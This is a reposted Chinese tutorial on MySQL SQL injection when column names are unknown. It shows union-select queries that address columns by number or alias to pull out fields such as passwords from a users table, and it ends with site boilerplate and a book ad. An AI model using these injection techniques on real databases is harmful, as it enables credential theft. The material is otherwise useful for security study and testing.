不知道列名的情况下注入

栏目: 数据库 · 发布时间: 6年前

内容简介：在 mysql => 5 的版本中存在库在information_schema中，除了SCHEMATA，TABLES，COLUMNS有表信息外，高版本的mysql中，还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。

不知道列名的情况下注入

在 mysql => 5 的版本中存在库 information_schema ,记录着 mysql 中所有表的结构，通常，在mysql sqli中，我们会通过此库中的表去获取其他表的结构，即表名，列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后，该如何进行下一步利用呢？

在information_schema中，除了SCHEMATA，TABLES，COLUMNS有表信息外，高版本的mysql中，还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。

0x01 不使用表名查询

正常的查询如下：

其中，列名为 id , name , pass , mail , phone ，使用union查询

select 1,2,3,4,5 union select * from users;

不知道列名的情况下注入

接着，就可以继续使用数字来对应列,如3对应了表里面的pass:

select `3` from (select 1,2,3,4,5 union select * from users)a;

不知道列名的情况下注入

当 ` 不能使用的时候，使用别名来代替：

select b from (select 1,2,3 as b,4,5 union select * from users)a;

不知道列名的情况下注入

在注入中查询多个列：

select concat(`2`,0x3a,`3`) from (select 1,2,3,4,5 union select * from users)a limit 1,1;

不知道列名的情况下注入

以上所述就是小编给大家介绍的《不知道列名的情况下注入》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对码农网的支持！

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

codedump / 人民邮电出版社 / 2017-8 / 49.00元

本书首先介绍了Lua中的数据结构，比如通用数据是如何表示的、Lua的字符串以及表类型的实现原理，接着讨论了Lua虚拟机的实现，并且将其中重点的一些指令进行了分类讲解，最后讨论了垃圾回收、模块实现、热更新、协程等的实现原理。一起来看看《Lua设计与实现》这本书的介绍吧!

在线图片转Base64编码工具

多种字符组合密码